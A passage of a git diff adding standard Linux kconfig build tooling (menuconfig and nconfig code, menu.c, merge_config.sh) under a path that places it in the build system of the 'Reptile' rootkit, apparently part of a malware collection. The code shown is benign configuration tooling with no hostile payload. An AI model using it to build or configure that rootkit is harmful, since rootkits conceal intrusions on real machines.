(!dialog_input_result[0]) + return; + if (!conf_read(dialog_input_result)) { + set_config_filename(dialog_input_result); + sym_set_change_count(1); + return; + } + show_textbox(NULL, _("File does not exist!"), 5, 38); + break; + case 1: + show_helptext(_("Load Alternate Configuration"), load_config_help); + break; + case KEY_ESC: + return; + } + } +} + +static void conf_save(void) +{ + while (1) { + int res; + dialog_clear(); + res = dialog_inputbox(NULL, save_config_text, + 11, 55, filename); + switch(res) { + case 0: + if (!dialog_input_result[0]) + return; + if (!conf_write(dialog_input_result)) { + set_config_filename(dialog_input_result); + return; + } + show_textbox(NULL, _("Can't create file! Probably a nonexistent directory."), 5, 60); + break; + case 1: + show_helptext(_("Save Alternate Configuration"), save_config_help); + break; + case KEY_ESC: + return; + } + } +} + +static int handle_exit(void) +{ + int res; + + save_and_exit = 1; + reset_subtitle(); + dialog_clear(); + if (conf_get_changed()) + res = dialog_yesno(NULL, + _("Do you wish to save your new configuration?\n" + "(Press to continue "PRODUCT" configuration.)"), + 6, 60); + else + res = -1; + + end_dialog(saved_x, saved_y); + + switch (res) { + case 0: + if (conf_write(filename)) { + fprintf(stderr, _("\n\n" + "Error while writing of the configuration.\n" + "Your configuration changes were NOT saved." + "\n\n")); + return 1; + } + /* fall through */ + case -1: + printf(_("\n\n" + "*** End of the configuration.\n" + "*** Execute 'make' to start the build or try 'make help'." + "\n\n")); + res = 0; + break; + default: + fprintf(stderr, _("\n\n" + "Your configuration changes were NOT saved." + "\n\n")); + if (res != KEY_ESC) + res = 0; + } + + return res; +} + +static void sig_handler(int signo) +{ + exit(handle_exit()); +} + +int main(int ac, char **av) +{ + char *mode; + int res; + + setlocale(LC_ALL, ""); + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + signal(SIGINT, sig_handler); + + conf_parse(av[1]); + conf_read(NULL); + + mode = getenv("MENUCONFIG_MODE"); + if (mode) { + if (!strcasecmp(mode, "single_menu")) + single_menu_mode = 1; + } + + if (init_dialog(NULL)) { + fprintf(stderr, N_("Your display is too small to run Menuconfig!\n")); + fprintf(stderr, N_("It must be at least 19 lines by 80 columns.\n")); + return 1; + } + + set_config_filename(conf_get_configname()); + conf_set_message_callback(conf_message_callback); + do { + conf(&rootmenu, NULL); + res = handle_exit(); + } while (res == KEY_ESC); + + return res; +} + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/menu.c b/Linux/Rootkits/Reptile/scripts/kconfig/menu.c new file mode 100644 index 0000000..db1512a --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/menu.c @@ -0,0 +1,694 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include + +#include "lkc.h" + +static const char nohelp_text[] = "There is no help available for this option."; + +struct menu rootmenu; +static struct menu **last_entry_ptr; + +struct file *file_list; +struct file *current_file; + +void menu_warn(struct menu *menu, const char *fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + fprintf(stderr, "%s:%d:warning: ", menu->file->name, menu->lineno); + vfprintf(stderr, fmt, ap); + fprintf(stderr, "\n"); + va_end(ap); +} + +static void prop_warn(struct property *prop, const char *fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + fprintf(stderr, "%s:%d:warning: ", prop->file->name, prop->lineno); + vfprintf(stderr, fmt, ap); + fprintf(stderr, "\n"); + va_end(ap); +} + +void _menu_init(void) +{ + current_entry = current_menu = &rootmenu; + last_entry_ptr = &rootmenu.list; +} + +void menu_add_entry(struct symbol *sym) +{ + struct menu *menu; + + menu = xmalloc(sizeof(*menu)); + memset(menu, 0, sizeof(*menu)); + menu->sym = sym; + menu->parent = current_menu; + menu->file = current_file; + menu->lineno = zconf_lineno(); + + *last_entry_ptr = menu; + last_entry_ptr = &menu->next; + current_entry = menu; + if (sym) + menu_add_symbol(P_SYMBOL, sym, NULL); +} + +void menu_end_entry(void) +{ +} + +struct menu *menu_add_menu(void) +{ + menu_end_entry(); + last_entry_ptr = ¤t_entry->list; + return current_menu = current_entry; +} + +void menu_end_menu(void) +{ + last_entry_ptr = ¤t_menu->next; + current_menu = current_menu->parent; +} + +static struct expr *menu_check_dep(struct expr *e) +{ + if (!e) + return e; + + switch (e->type) { + case E_NOT: + e->left.expr = menu_check_dep(e->left.expr); + break; + case E_OR: + case E_AND: + e->left.expr = menu_check_dep(e->left.expr); + e->right.expr = menu_check_dep(e->right.expr); + break; + case E_SYMBOL: + /* change 'm' into 'm' && MODULES */ + if (e->left.sym == &symbol_mod) + return expr_alloc_and(e, expr_alloc_symbol(modules_sym)); + break; + default: + break; + } + return e; +} + +void menu_add_dep(struct expr *dep) +{ + current_entry->dep = expr_alloc_and(current_entry->dep, menu_check_dep(dep)); +} + +void menu_set_type(int type) +{ + struct symbol *sym = current_entry->sym; + + if (sym->type == type) + return; + if (sym->type == S_UNKNOWN) { + sym->type = type; + return; + } + menu_warn(current_entry, + "ignoring type redefinition of '%s' from '%s' to '%s'", + sym->name ? sym->name : "", + sym_type_name(sym->type), sym_type_name(type)); +} + +struct property *menu_add_prop(enum prop_type type, char *prompt, struct expr *expr, struct expr *dep) +{ + struct property *prop = prop_alloc(type, current_entry->sym); + + prop->menu = current_entry; + prop->expr = expr; + prop->visible.expr = menu_check_dep(dep); + + if (prompt) { + if (isspace(*prompt)) { + prop_warn(prop, "leading whitespace ignored"); + while (isspace(*prompt)) + prompt++; + } + if (current_entry->prompt && current_entry != &rootmenu) + prop_warn(prop, "prompt redefined"); + + /* Apply all upper menus' visibilities to actual prompts. */ + if(type == P_PROMPT) { + struct menu *menu = current_entry; + + while ((menu = menu->parent) != NULL) { + struct expr *dup_expr; + + if (!menu->visibility) + continue; + /* + * Do not add a reference to the + * menu's visibility expression but + * use a copy of it. Otherwise the + * expression reduction functions + * will modify expressions that have + * multiple references which can + * cause unwanted side effects. + */ + dup_expr = expr_copy(menu->visibility); + + prop->visible.expr + = expr_alloc_and(prop->visible.expr, + dup_expr); + } + } + + current_entry->prompt = prop; + } + prop->text = prompt; + + return prop; +} + +struct property *menu_add_prompt(enum prop_type type, char *prompt, struct expr *dep) +{ + return menu_add_prop(type, prompt, NULL, dep); +} + +void menu_add_visibility(struct expr *expr) +{ + current_entry->visibility = expr_alloc_and(current_entry->visibility, + expr); +} + +void menu_add_expr(enum prop_type type, struct expr *expr, struct expr *dep) +{ + menu_add_prop(type, NULL, expr, dep); +} + +void menu_add_symbol(enum prop_type type, struct symbol *sym, struct expr *dep) +{ + menu_add_prop(type, NULL, expr_alloc_symbol(sym), dep); +} + +void menu_add_option(int token, char *arg) +{ + switch (token) { + case T_OPT_MODULES: + if (modules_sym) + zconf_error("symbol '%s' redefines option 'modules'" + " already defined by symbol '%s'", + current_entry->sym->name, + modules_sym->name + ); + modules_sym = current_entry->sym; + break; + case T_OPT_DEFCONFIG_LIST: + if (!sym_defconfig_list) + sym_defconfig_list = current_entry->sym; + else if (sym_defconfig_list != current_entry->sym) + zconf_error("trying to redefine defconfig symbol"); + break; + case T_OPT_ENV: + prop_add_env(arg); + break; + } +} + +static int menu_validate_number(struct symbol *sym, struct symbol *sym2) +{ + return sym2->type == S_INT || sym2->type == S_HEX || + (sym2->type == S_UNKNOWN && sym_string_valid(sym, sym2->name)); +} + +static void sym_check_prop(struct symbol *sym) +{ + struct property *prop; + struct symbol *sym2; + for (prop = sym->prop; prop; prop = prop->next) { + switch (prop->type) { + case P_DEFAULT: + if ((sym->type == S_STRING || sym->type == S_INT || sym->type == S_HEX) && + prop->expr->type != E_SYMBOL) + prop_warn(prop, + "default for config symbol '%s'" + " must be a single symbol", sym->name); + if (prop->expr->type != E_SYMBOL) + break; + sym2 = prop_get_symbol(prop); + if (sym->type == S_HEX || sym->type == S_INT) { + if (!menu_validate_number(sym, sym2)) + prop_warn(prop, + "'%s': number is invalid", + sym->name); + } + break; + case P_SELECT: + sym2 = prop_get_symbol(prop); + if (sym->type != S_BOOLEAN && sym->type != S_TRISTATE) + prop_warn(prop, + "config symbol '%s' uses select, but is " + "not boolean or tristate", sym->name); + else if (sym2->type != S_UNKNOWN && + sym2->type != S_BOOLEAN && + sym2->type != S_TRISTATE) + prop_warn(prop, + "'%s' has wrong type. 'select' only " + "accept arguments of boolean and " + "tristate type", sym2->name); + break; + case P_RANGE: + if (sym->type != S_INT && sym->type != S_HEX) + prop_warn(prop, "range is only allowed " + "for int or hex symbols"); + if (!menu_validate_number(sym, prop->expr->left.sym) || + !menu_validate_number(sym, prop->expr->right.sym)) + prop_warn(prop, "range is invalid"); + break; + default: + ; + } + } +} + +void menu_finalize(struct menu *parent) +{ + struct menu *menu, *last_menu; + struct symbol *sym; + struct property *prop; + struct expr *parentdep, *basedep, *dep, *dep2, **ep; + + sym = parent->sym; + if (parent->list) { + if (sym && sym_is_choice(sym)) { + if (sym->type == S_UNKNOWN) { + /* find the first choice value to find out choice type */ + current_entry = parent; + for (menu = parent->list; menu; menu = menu->next) { + if (menu->sym && menu->sym->type != S_UNKNOWN) { + menu_set_type(menu->sym->type); + break; + } + } + } + /* set the type of the remaining choice values */ + for (menu = parent->list; menu; menu = menu->next) { + current_entry = menu; + if (menu->sym && menu->sym->type == S_UNKNOWN) + menu_set_type(sym->type); + } + parentdep = expr_alloc_symbol(sym); + } else if (parent->prompt) + parentdep = parent->prompt->visible.expr; + else + parentdep = parent->dep; + + for (menu = parent->list; menu; menu = menu->next) { + basedep = expr_transform(menu->dep); + basedep = expr_alloc_and(expr_copy(parentdep), basedep); + basedep = expr_eliminate_dups(basedep); + menu->dep = basedep; + if (menu->sym) + prop = menu->sym->prop; + else + prop = menu->prompt; + for (; prop; prop = prop->next) { + if (prop->menu != menu) + continue; + dep = expr_transform(prop->visible.expr); + dep = expr_alloc_and(expr_copy(basedep), dep); + dep = expr_eliminate_dups(dep); + if (menu->sym && menu->sym->type != S_TRISTATE) + dep = expr_trans_bool(dep); + prop->visible.expr = dep; + if (prop->type == P_SELECT) { + struct symbol *es = prop_get_symbol(prop); + es->rev_dep.expr = expr_alloc_or(es->rev_dep.expr, + expr_alloc_and(expr_alloc_symbol(menu->sym), expr_copy(dep))); + } + } + } + for (menu = parent->list; menu; menu = menu->next) + menu_finalize(menu); + } else if (sym) { + basedep = parent->prompt ? parent->prompt->visible.expr : NULL; + basedep = expr_trans_compare(basedep, E_UNEQUAL, &symbol_no); + basedep = expr_eliminate_dups(expr_transform(basedep)); + last_menu = NULL; + for (menu = parent->next; menu; menu = menu->next) { + dep = menu->prompt ? menu->prompt->visible.expr : menu->dep; + if (!expr_contains_symbol(dep, sym)) + break; + if (expr_depends_symbol(dep, sym)) + goto next; + dep = expr_trans_compare(dep, E_UNEQUAL, &symbol_no); + dep = expr_eliminate_dups(expr_transform(dep)); + dep2 = expr_copy(basedep); + expr_eliminate_eq(&dep, &dep2); + expr_free(dep); + if (!expr_is_yes(dep2)) { + expr_free(dep2); + break; + } + expr_free(dep2); + next: + menu_finalize(menu); + menu->parent = parent; + last_menu = menu; + } + if (last_menu) { + parent->list = parent->next; + parent->next = last_menu->next; + last_menu->next = NULL; + } + + sym->dir_dep.expr = expr_alloc_or(sym->dir_dep.expr, parent->dep); + } + for (menu = parent->list; menu; menu = menu->next) { + if (sym && sym_is_choice(sym) && + menu->sym && !sym_is_choice_value(menu->sym)) { + current_entry = menu; + menu->sym->flags |= SYMBOL_CHOICEVAL; + if (!menu->prompt) + menu_warn(menu, "choice value must have a prompt"); + for (prop = menu->sym->prop; prop; prop = prop->next) { + if (prop->type == P_DEFAULT) + prop_warn(prop, "defaults for choice " + "values not supported"); + if (prop->menu == menu) + continue; + if (prop->type == P_PROMPT && + prop->menu->parent->sym != sym) + prop_warn(prop, "choice value used outside its choice group"); + } + /* Non-tristate choice values of tristate choices must + * depend on the choice being set to Y. The choice + * values' dependencies were propagated to their + * properties above, so the change here must be re- + * propagated. + */ + if (sym->type == S_TRISTATE && menu->sym->type != S_TRISTATE) { + basedep = expr_alloc_comp(E_EQUAL, sym, &symbol_yes); + menu->dep = expr_alloc_and(basedep, menu->dep); + for (prop = menu->sym->prop; prop; prop = prop->next) { + if (prop->menu != menu) + continue; + prop->visible.expr = expr_alloc_and(expr_copy(basedep), + prop->visible.expr); + } + } + menu_add_symbol(P_CHOICE, sym, NULL); + prop = sym_get_choice_prop(sym); + for (ep = &prop->expr; *ep; ep = &(*ep)->left.expr) + ; + *ep = expr_alloc_one(E_LIST, NULL); + (*ep)->right.sym = menu->sym; + } + if (menu->list && (!menu->prompt || !menu->prompt->text)) { + for (last_menu = menu->list; ; last_menu = last_menu->next) { + last_menu->parent = parent; + if (!last_menu->next) + break; + } + last_menu->next = menu->next; + menu->next = menu->list; + menu->list = NULL; + } + } + + if (sym && !(sym->flags & SYMBOL_WARNED)) { + if (sym->type == S_UNKNOWN) + menu_warn(parent, "config symbol defined without type"); + + if (sym_is_choice(sym) && !parent->prompt) + menu_warn(parent, "choice must have a prompt"); + + /* Check properties connected to this symbol */ + sym_check_prop(sym); + sym->flags |= SYMBOL_WARNED; + } + + if (sym && !sym_is_optional(sym) && parent->prompt) { + sym->rev_dep.expr = expr_alloc_or(sym->rev_dep.expr, + expr_alloc_and(parent->prompt->visible.expr, + expr_alloc_symbol(&symbol_mod))); + } +} + +bool menu_has_prompt(struct menu *menu) +{ + if (!menu->prompt) + return false; + return true; +} + +/* + * Determine if a menu is empty. + * A menu is considered empty if it contains no or only + * invisible entries. + */ +bool menu_is_empty(struct menu *menu) +{ + struct menu *child; + + for (child = menu->list; child; child = child->next) { + if (menu_is_visible(child)) + return(false); + } + return(true); +} + +bool menu_is_visible(struct menu *menu) +{ + struct menu *child; + struct symbol *sym; + tristate visible; + + if (!menu->prompt) + return false; + + if (menu->visibility) { + if (expr_calc_value(menu->visibility) == no) + return no; + } + + sym = menu->sym; + if (sym) { + sym_calc_value(sym); + visible = menu->prompt->visible.tri; + } else + visible = menu->prompt->visible.tri = expr_calc_value(menu->prompt->visible.expr); + + if (visible != no) + return true; + + if (!sym || sym_get_tristate_value(menu->sym) == no) + return false; + + for (child = menu->list; child; child = child->next) { + if (menu_is_visible(child)) { + if (sym) + sym->flags |= SYMBOL_DEF_USER; + return true; + } + } + + return false; +} + +const char *menu_get_prompt(struct menu *menu) +{ + if (menu->prompt) + return menu->prompt->text; + else if (menu->sym) + return menu->sym->name; + return NULL; +} + +struct menu *menu_get_root_menu(struct menu *menu) +{ + return &rootmenu; +} + +struct menu *menu_get_parent_menu(struct menu *menu) +{ + enum prop_type type; + + for (; menu != &rootmenu; menu = menu->parent) { + type = menu->prompt ? menu->prompt->type : 0; + if (type == P_MENU) + break; + } + return menu; +} + +bool menu_has_help(struct menu *menu) +{ + return menu->help != NULL; +} + +const char *menu_get_help(struct menu *menu) +{ + if (menu->help) + return menu->help; + else + return ""; +} + +static void get_prompt_str(struct gstr *r, struct property *prop, + struct list_head *head) +{ + int i, j; + struct menu *submenu[8], *menu, *location = NULL; + struct jump_key *jump; + + str_printf(r, _("Prompt: %s\n"), _(prop->text)); + menu = prop->menu->parent; + for (i = 0; menu != &rootmenu && i < 8; menu = menu->parent) { + bool accessible = menu_is_visible(menu); + + submenu[i++] = menu; + if (location == NULL && accessible) + location = menu; + } + if (head && location) { + jump = xmalloc(sizeof(struct jump_key)); + + if (menu_is_visible(prop->menu)) { + /* + * There is not enough room to put the hint at the + * beginning of the "Prompt" line. Put the hint on the + * last "Location" line even when it would belong on + * the former. + */ + jump->target = prop->menu; + } else + jump->target = location; + + if (list_empty(head)) + jump->index = 0; + else + jump->index = list_entry(head->prev, struct jump_key, + entries)->index + 1; + + list_add_tail(&jump->entries, head); + } + + if (i > 0) { + str_printf(r, _(" Location:\n")); + for (j = 4; --i >= 0; j += 2) { + menu = submenu[i]; + if (head && location && menu == location) + jump->offset = strlen(r->s); + str_printf(r, "%*c-> %s", j, ' ', + _(menu_get_prompt(menu))); + if (menu->sym) { + str_printf(r, " (%s [=%s])", menu->sym->name ? + menu->sym->name : _(""), + sym_get_string_value(menu->sym)); + } + str_append(r, "\n"); + } + } +} + +/* + * get property of type P_SYMBOL + */ +static struct property *get_symbol_prop(struct symbol *sym) +{ + struct property *prop = NULL; + + for_all_properties(sym, prop, P_SYMBOL) + break; + return prop; +} + +/* + * head is optional and may be NULL + */ +void get_symbol_str(struct gstr *r, struct symbol *sym, + struct list_head *head) +{ + bool hit; + struct property *prop; + + if (sym && sym->name) { + str_printf(r, "Symbol: %s [=%s]\n", sym->name, + sym_get_string_value(sym)); + str_printf(r, "Type : %s\n", sym_type_name(sym->type)); + if (sym->type == S_INT || sym->type == S_HEX) { + prop = sym_get_range_prop(sym); + if (prop) { + str_printf(r, "Range : "); + expr_gstr_print(prop->expr, r); + str_append(r, "\n"); + } + } + } + for_all_prompts(sym, prop) + get_prompt_str(r, prop, head); + + prop = get_symbol_prop(sym); + if (prop) { + str_printf(r, _(" Defined at %s:%d\n"), prop->menu->file->name, + prop->menu->lineno); + if (!expr_is_yes(prop->visible.expr)) { + str_append(r, _(" Depends on: ")); + expr_gstr_print(prop->visible.expr, r); + str_append(r, "\n"); + } + } + + hit = false; + for_all_properties(sym, prop, P_SELECT) { + if (!hit) { + str_append(r, " Selects: "); + hit = true; + } else + str_printf(r, " && "); + expr_gstr_print(prop->expr, r); + } + if (hit) + str_append(r, "\n"); + if (sym->rev_dep.expr) { + str_append(r, _(" Selected by: ")); + expr_gstr_print(sym->rev_dep.expr, r); + str_append(r, "\n"); + } + str_append(r, "\n\n"); +} + +struct gstr get_relations_str(struct symbol **sym_arr, struct list_head *head) +{ + struct symbol *sym; + struct gstr res = str_new(); + int i; + + for (i = 0; sym_arr && (sym = sym_arr[i]); i++) + get_symbol_str(&res, sym, head); + if (!i) + str_append(&res, _("No matches found.\n")); + return res; +} + + +void menu_get_ext_help(struct menu *menu, struct gstr *help) +{ + struct symbol *sym = menu->sym; + const char *help_text = nohelp_text; + + if (menu_has_help(menu)) { + if (sym->name) + str_printf(help, "%s%s:\n\n", CONFIG_, sym->name); + help_text = menu_get_help(menu); + } + str_printf(help, "%s\n", _(help_text)); + if (sym) + get_symbol_str(help, sym, NULL); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/merge_config.sh b/Linux/Rootkits/Reptile/scripts/kconfig/merge_config.sh new file mode 100644 index 0000000..88d278c --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/merge_config.sh @@ -0,0 +1,151 @@ +#!/bin/sh +# merge_config.sh - Takes a list of config fragment values, and merges +# them one by one. Provides warnings on overridden values, and specified +# values that did not make it to the resulting .config file (due to missed +# dependencies or config symbol removal). +# +# Portions reused from kconf_check and generate_cfg: +# http://git.yoctoproject.org/cgit/cgit.cgi/yocto-kernel-tools/tree/tools/kconf_check +# http://git.yoctoproject.org/cgit/cgit.cgi/yocto-kernel-tools/tree/tools/generate_cfg +# +# Copyright (c) 2009-2010 Wind River Systems, Inc. +# Copyright 2011 Linaro +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License version 2 as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# See the GNU General Public License for more details. + +clean_up() { + rm -f $TMP_FILE + exit +} +trap clean_up HUP INT TERM + +usage() { + echo "Usage: $0 [OPTIONS] [CONFIG [...]]" + echo " -h display this help text" + echo " -m only merge the fragments, do not execute the make command" + echo " -n use allnoconfig instead of alldefconfig" + echo " -r list redundant entries when merging fragments" + echo " -O dir to put generated output files" +} + +MAKE=true +ALLTARGET=alldefconfig +WARNREDUN=false +OUTPUT=. + +while true; do + case $1 in + "-n") + ALLTARGET=allnoconfig + shift + continue + ;; + "-m") + MAKE=false + shift + continue + ;; + "-h") + usage + exit + ;; + "-r") + WARNREDUN=true + shift + continue + ;; + "-O") + if [ -d $2 ];then + OUTPUT=$(echo $2 | sed 's/\/*$//') + else + echo "output directory $2 does not exist" 1>&2 + exit 1 + fi + shift 2 + continue + ;; + *) + break + ;; + esac +done + +INITFILE=$1 +shift; + +MERGE_LIST=$* +SED_CONFIG_EXP="s/^\(# \)\{0,1\}\(CONFIG_[a-zA-Z0-9_]*\)[= ].*/\2/p" +TMP_FILE=$(mktemp ./.tmp.config.XXXXXXXXXX) + +echo "Using $INITFILE as base" +cat $INITFILE > $TMP_FILE + +# Merge files, printing warnings on overrided values +for MERGE_FILE in $MERGE_LIST ; do + echo "Merging $MERGE_FILE" + CFG_LIST=$(sed -n "$SED_CONFIG_EXP" $MERGE_FILE) + + for CFG in $CFG_LIST ; do + grep -q -w $CFG $TMP_FILE + if [ $? -eq 0 ] ; then + PREV_VAL=$(grep -w $CFG $TMP_FILE) + NEW_VAL=$(grep -w $CFG $MERGE_FILE) + if [ "x$PREV_VAL" != "x$NEW_VAL" ] ; then + echo Value of $CFG is redefined by fragment $MERGE_FILE: + echo Previous value: $PREV_VAL + echo New value: $NEW_VAL + echo + elif [ "$WARNREDUN" = "true" ]; then + echo Value of $CFG is redundant by fragment $MERGE_FILE: + fi + sed -i "/$CFG[ =]/d" $TMP_FILE + fi + done + cat $MERGE_FILE >> $TMP_FILE +done + +if [ "$MAKE" = "false" ]; then + cp $TMP_FILE $OUTPUT/.config + echo "#" + echo "# merged configuration written to $OUTPUT/.config (needs make)" + echo "#" + clean_up + exit +fi + +# If we have an output dir, setup the O= argument, otherwise leave +# it blank, since O=. will create an unnecessary ./source softlink +OUTPUT_ARG="" +if [ "$OUTPUT" != "." ] ; then + OUTPUT_ARG="O=$OUTPUT" +fi + + +# Use the merged file as the starting point for: +# alldefconfig: Fills in any missing symbols with Kconfig default +# allnoconfig: Fills in any missing symbols with # CONFIG_* is not set +PRODUCT_ENV=${PRODUCT_ENV:-KCONFIG} +make ${PRODUCT_ENV}_ALLCONFIG=$TMP_FILE $OUTPUT_ARG $ALLTARGET + + +# Check all specified config values took (might have missed-dependency issues) +for CFG in $(sed -n "$SED_CONFIG_EXP" $TMP_FILE); do + + REQUESTED_VAL=$(grep -w -e "$CFG" $TMP_FILE) + ACTUAL_VAL=$(grep -w -e "$CFG" $OUTPUT/.config) + if [ "x$REQUESTED_VAL" != "x$ACTUAL_VAL" ] ; then + echo "Value requested for $CFG not in final .config" + echo "Requested value: $REQUESTED_VAL" + echo "Actual value: $ACTUAL_VAL" + echo "" + fi +done + +clean_up diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/nconf.c b/Linux/Rootkits/Reptile/scripts/kconfig/nconf.c new file mode 100644 index 0000000..4fbecd2 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/nconf.c @@ -0,0 +1,1557 @@ +/* + * Copyright (C) 2008 Nir Tzachar +#include + +#include "lkc.h" +#include "nconf.h" +#include + +static const char nconf_global_help[] = N_( +"Help windows\n" +"------------\n" +"o Global help: Unless in a data entry window, pressing will give \n" +" you the global help window, which you are just reading.\n" +"\n" +"o A short version of the global help is available by pressing .\n" +"\n" +"o Local help: To get help related to the current menu entry, use any\n" +" of , or if in a data entry window then press .\n" +"\n" +"\n" +"Menu entries\n" +"------------\n" +"This interface lets you select features and parameters for the kernel\n" +"build. Kernel features can either be built-in, modularized, or removed.\n" +"Parameters must be entered as text or decimal or hexadecimal numbers.\n" +"\n" +"Menu entries beginning with following braces represent features that\n" +" [ ] can be built in or removed\n" +" < > can be built in, modularized or removed\n" +" { } can be built in or modularized, are selected by another feature\n" +" - - are selected by another feature\n" +" XXX cannot be selected. Symbol Info tells you why.\n" +"*, M or whitespace inside braces means to build in, build as a module\n" +"or to exclude the feature respectively.\n" +"\n" +"To change any of these features, highlight it with the movement keys\n" +"listed below and press to build it in, to make it a module or\n" +" to remove it. You may press the key to cycle through the\n" +"available options.\n" +"\n" +"A trailing \"--->\" designates a submenu, a trailing \"----\" an\n" +"empty submenu.\n" +"\n" +"Menu navigation keys\n" +"----------------------------------------------------------------------\n" +"Linewise up \n" +"Linewise down \n" +"Pagewise up \n" +"Pagewise down \n" +"First entry \n" +"Last entry \n" +"Enter a submenu \n" +"Go back to parent menu \n" +"Close a help window \n" +"Close entry window, apply \n" +"Close entry window, forget \n" +"Start incremental, case-insensitive search for STRING in menu entries,\n" +" no regex support, STRING is displayed in upper left corner\n" +" STRING\n" +" Remove last character \n" +" Jump to next hit \n" +" Jump to previous hit \n" +"Exit menu search mode \n" +"Search for configuration variables with or without leading CONFIG_\n" +" RegExpr\n" +"Verbose search help \n" +"----------------------------------------------------------------------\n" +"\n" +"Unless in a data entry window, key <1> may be used instead of ,\n" +"<2> instead of , etc.\n" +"\n" +"\n" +"Radiolist (Choice list)\n" +"-----------------------\n" +"Use the movement keys listed above to select the option you wish to set\n" +"and press .\n" +"\n" +"\n" +"Data entry\n" +"----------\n" +"Enter the requested information and press . Hexadecimal values\n" +"may be entered without the \"0x\" prefix.\n" +"\n" +"\n" +"Text Box (Help Window)\n" +"----------------------\n" +"Use movement keys as listed in table above.\n" +"\n" +"Press any of to exit.\n" +"\n" +"\n" +"Alternate configuration files\n" +"-----------------------------\n" +"nconfig supports switching between different configurations.\n" +"Press to save your current configuration. Press and enter\n" +"a file name to load a previously saved configuration.\n" +"\n" +"\n" +"Terminal configuration\n" +"----------------------\n" +"If you use nconfig in a xterm window, make sure your TERM environment\n" +"variable specifies a terminal configuration which supports at least\n" +"16 colors. Otherwise nconfig will look rather bad.\n" +"\n" +"If the \"stty size\" command reports the current terminalsize correctly,\n" +"nconfig will adapt to sizes larger than the traditional 80x25 \"standard\"\n" +"and display longer menus properly.\n" +"\n" +"\n" +"Single menu mode\n" +"----------------\n" +"If you prefer to have all of the menu entries listed in a single menu,\n" +"rather than the default multimenu hierarchy, run nconfig with\n" +"NCONFIG_MODE environment variable set to single_menu. Example:\n" +"\n" +"make NCONFIG_MODE=single_menu nconfig\n" +"\n" +" will then unfold the appropriate category, or fold it if it\n" +"is already unfolded. Folded menu entries will be designated by a\n" +"leading \"++>\" and unfolded entries by a leading \"-->\".\n" +"\n" +"Note that this mode can eventually be a little more CPU expensive than\n" +"the default mode, especially with a larger number of unfolded submenus.\n" +"\n"), +menu_no_f_instructions[] = N_( +"Legend: [*] built-in [ ] excluded module < > module capable.\n" +"Submenus are designated by a trailing \"--->\", empty ones by \"----\".\n" +"\n" +"Use the following keys to navigate the menus:\n" +"Move up or down with and .\n" +"Enter a submenu with or .\n" +"Exit a submenu to its parent menu with or .\n" +"Pressing includes, excludes, modularizes features.\n" +"Pressing cycles through the available options.\n" +"To search for menu entries press .\n" +" always leaves the current window.\n" +"\n" +"You do not have function keys support.\n" +"Press <1> instead of , <2> instead of , etc.\n" +"For verbose global help use key <1>.\n" +"For help related to the current menu entry press or .\n"), +menu_instructions[] = N_( +"Legend: [*] built-in [ ] excluded module < > module capable.\n" +"Submenus are designated by a trailing \"--->\", empty ones by \"----\".\n" +"\n" +"Use the following keys to navigate the menus:\n" +"Move up or down with or .\n" +"Enter a submenu with or .\n" +"Exit a submenu to its parent menu with or .\n" +"Pressing includes, excludes, modularizes features.\n" +"Pressing cycles through the available options.\n" +"To search for menu entries press .\n" +" always leaves the current window.\n" +"\n" +"Pressing <1> may be used instead of , <2> instead of , etc.\n" +"For verbose global help press .\n" +"For help related to the current menu entry press or .\n"), +radiolist_instructions[] = N_( +"Press , , or to navigate a radiolist, select\n" +"with .\n" +"For help related to the current entry press or .\n" +"For global help press .\n"), +inputbox_instructions_int[] = N_( +"Please enter a decimal value.\n" +"Fractions will not be accepted.\n" +"Press to apply, to cancel."), +inputbox_instructions_hex[] = N_( +"Please enter a hexadecimal value.\n" +"Press to apply, to cancel."), +inputbox_instructions_string[] = N_( +"Please enter a string value.\n" +"Press to apply, to cancel."), +setmod_text[] = N_( +"This feature depends on another feature which has been configured as a\n" +"module. As a result, the current feature will be built as a module too."), +load_config_text[] = N_( +"Enter the name of the configuration file you wish to load.\n" +"Accept the name shown to restore the configuration you last\n" +"retrieved. Leave empty to abort."), +load_config_help[] = N_( +"For various reasons, one may wish to keep several different\n" +"configurations available on a single machine.\n" +"\n" +"If you have saved a previous configuration in a file other than the\n" +"default one, entering its name here will allow you to load and modify\n" +"that configuration.\n" +"\n" +"Leave empty to abort.\n"), +save_config_text[] = N_( +"Enter a filename to which this configuration should be saved\n" +"as an alternate. Leave empty to abort."), +save_config_help[] = N_( +"For various reasons, one may wish to keep several different\n" +"configurations available on a single machine.\n" +"\n" +"Entering a file name here will allow you to later retrieve, modify\n" +"and use the current configuration as an alternate to whatever\n" +"configuration options you have selected at that time.\n" +"\n" +"Leave empty to abort.\n"), +search_help[] = N_( +"Search for symbols (configuration variable names CONFIG_*) and display\n" +"their relations. Regular expressions are supported.\n" +"Example: Search for \"^FOO\".\n" +"Result:\n" +"-----------------------------------------------------------------\n" +"Symbol: FOO [ = m]\n" +"Prompt: Foo bus is used to drive the bar HW\n" +"Defined at drivers/pci/Kconfig:47\n" +"Depends on: X86_LOCAL_APIC && X86_IO_APIC || IA64\n" +"Location:\n" +" -> Bus options (PCI, PCMCIA, EISA, ISA)\n" +" -> PCI support (PCI [ = y])\n" +" -> PCI access mode ( [ = y])\n" +"Selects: LIBCRC32\n" +"Selected by: BAR\n" +"-----------------------------------------------------------------\n" +"o The line 'Prompt:' shows the text displayed for this symbol in\n" +" the menu hierarchy.\n" +"o The 'Defined at' line tells at what file / line number the symbol is\n" +" defined.\n" +"o The 'Depends on:' line lists symbols that need to be defined for\n" +" this symbol to be visible and selectable in the menu.\n" +"o The 'Location:' lines tell, where in the menu structure this symbol\n" +" is located. A location followed by a [ = y] indicates that this is\n" +" a selectable menu item, and the current value is displayed inside\n" +" brackets.\n" +"o The 